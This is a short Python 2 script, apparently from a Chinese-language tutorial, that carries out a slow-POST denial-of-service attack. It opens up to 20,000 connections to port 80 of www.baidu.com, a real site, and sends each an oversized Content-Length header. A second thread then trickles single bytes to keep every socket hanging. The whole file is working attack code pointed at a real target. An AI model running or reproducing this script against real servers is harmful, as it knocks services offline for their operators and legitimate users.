#coding=utf-8
import socket  
import time
import threading  
MAX_CONN=20000  #定义固定的连接数，这样危害比较小
PORT=80  
HOST="www.baidu.com"  
PAGE="/index.php"
#这里自己定义一个post请求格式，其实可以使用urllib2替代，下章会讲  
buf=("POST %s HTTP/1.1\r\n"  
"Host: %s\r\n"  
"Content-Length: 10000000\r\n"  
"Cookie: dklkt_dos_test\r\n"  
"\r\n" % (PAGE,HOST))  
socks=[]
def conn_thread():  
    global socks
    for i in range(0,MAX_CONN):  
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
        try:  
            s.connect((HOST,PORT))  
            s.send(buf)  
            print "Send buf OK!,conn=%d\n"%i  
            socks.append(s)  
        except :  
            print "Could not connect to server " 
def send_thread():
    global socks
    while True:
        for s in socks:  
            try:  
                s.send("f")  
                #print "send OK!"  
                
                
            except Exception,e:  
                print "error:%s"% e
                socks.remove(s)
                s.close()                
        time.sleep(1)    
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
if __name__ == '__main__':
    conn_th.start()
    send_th.start()